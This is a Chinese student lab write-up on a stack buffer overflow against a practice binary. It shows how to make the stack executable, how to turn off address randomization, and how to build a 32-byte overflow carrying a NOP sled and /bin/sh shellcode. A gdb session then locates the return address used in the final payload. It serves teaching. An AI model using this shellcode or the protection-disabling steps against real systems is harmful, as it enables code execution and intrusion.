注入Shellcode並運行攻擊#
一、實驗步驟##
1.安裝execstack並修改設置###
-
安裝execstack
apt-get install execstack
-
設置堆棧可執行
execstack -s 20154305
-
查詢文件的堆棧是否可執行
execstack -q 20154305
- 關閉地址隨機化
echo "0" > /proc/sys/kernel/randomize_va_space
- 查詢地址隨機化是否關閉
more /proc/sys/kernel/randomize_va_space
0代表關閉,2代表開啟
2. 構造攻擊buf###
本實驗采用 retaddr+nop+shellcode 方法####
-
由以上兩階段實驗已經知道pwn1文件的foo函數字符串緩沖大小為32Byte
-
采用老師提供的shellcode 的代碼
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
-用perl語言輸入代碼 perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 上面的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。我們得把它改為這段shellcode的地址。
3. 確定返回地址的值###
- 將寫好的代碼通過管道方式輸入給程序20154305中的foo函數進行覆蓋
(cat input_shellcode;cat) | ./20154305
此處應注意,輸入完指令只需要按一次回車,然后我們需要打開另一個終端
-
打開另外一個終端,用gdb來調試pwn1這個進程
-
首先找到20154305程序的進程號
ps -ef | grep 20154305
-
啟動gdb調試這個程序
gdb
attach 2041
通過ps指令可以看到20154305程序有兩個進程號:2041和2088,2041為上一個終端打開時的調用,故我們attach 2041進行調試
- 設置斷點來查看注入buf的內存地址
disassemble foo
ret的地址為 0x080484ae,ret完就會跳到我們覆蓋的返回地址了
-
break *0x080484ae
設置斷點 -
在另一個終端按下回車,這樣程序就會執行之后在斷點處停下來
-
再在gdb調試的終端輸入 c 繼續運行程序
-
通過
info r esp
查看esp寄存器的地址
-
上圖可以看到 01010304 所在的地址為 0xffffd3cc,那么注入的shellcode代碼的地址應該在該地址后四個字節的位置,即
0xffffd3cc + 0x00000004 = 0xffffd3d0
。 -
退出gdp調試。
4. 修改注入代碼的覆蓋地址
輸入
perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./20154305